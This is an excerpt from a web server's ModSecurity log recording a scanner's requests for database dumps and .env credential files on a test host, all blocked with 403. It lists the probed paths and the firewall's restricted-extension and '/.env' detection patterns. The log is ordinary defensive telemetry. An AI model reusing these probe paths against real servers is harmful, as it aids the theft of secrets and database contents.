[Sun Jun 29 20:13:11.337658 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.bak&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6JQAAAAY&quot;]
[Sun Jun 29 20:13:11.337845 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.bak&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6JQAAAAY&quot;]
[Sun Jun 29 20:13:11.360174 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.sql&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6JgAAAAY&quot;]
[Sun Jun 29 20:13:11.360543 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.sql&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6JgAAAAY&quot;]
[Sun Jun 29 20:13:11.360733 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.database.sql&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6JgAAAAY&quot;]
[Sun Jun 29 20:13:11.430113 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.db_backup.sql&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6KQAAAAY&quot;]
[Sun Jun 29 20:13:11.430493 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.db_backup.sql&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6KQAAAAY&quot;]
[Sun Jun 29 20:13:11.430684 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.db_backup.sql&quot;] [unique_id &quot;aGGCN3N4YZunzJSJCzJ6KQAAAAY&quot;]
[Sun Jun 29 20:13:16.464725 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.dump.sql&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6LwAAAAY&quot;]
[Sun Jun 29 20:13:16.465296 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.dump.sql&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6LwAAAAY&quot;]
[Sun Jun 29 20:13:16.465563 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.dump.sql&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6LwAAAAY&quot;]
[Sun Jun 29 20:13:16.535343 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6MgAAAAY&quot;]
[Sun Jun 29 20:13:16.535587 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6MgAAAAY&quot;]
[Sun Jun 29 20:13:16.535782 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6MgAAAAY&quot;]
[Sun Jun 29 20:13:16.558049 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6MwAAAAY&quot;]
[Sun Jun 29 20:13:16.558198 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6MwAAAAY&quot;]
[Sun Jun 29 20:13:16.558449 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6MwAAAAY&quot;]
[Sun Jun 29 20:13:16.558634 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6MwAAAAY&quot;]
[Sun Jun 29 20:13:16.585742 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NAAAAAY&quot;]
[Sun Jun 29 20:13:16.585900 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NAAAAAY&quot;]
[Sun Jun 29 20:13:16.586119 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NAAAAAY&quot;]
[Sun Jun 29 20:13:16.586294 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NAAAAAY&quot;]
[Sun Jun 29 20:13:16.659524 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NQAAAAY&quot;]
[Sun Jun 29 20:13:16.659770 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NQAAAAY&quot;]
[Sun Jun 29 20:13:16.659962 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NQAAAAY&quot;]
[Sun Jun 29 20:13:16.717251 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.json&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NgAAAAY&quot;]
[Sun Jun 29 20:13:16.717509 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.json&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NgAAAAY&quot;]
[Sun Jun 29 20:13:16.717702 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.json&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NgAAAAY&quot;]
[Sun Jun 29 20:13:16.741608 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NwAAAAY&quot;]
[Sun Jun 29 20:13:16.741866 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NwAAAAY&quot;]
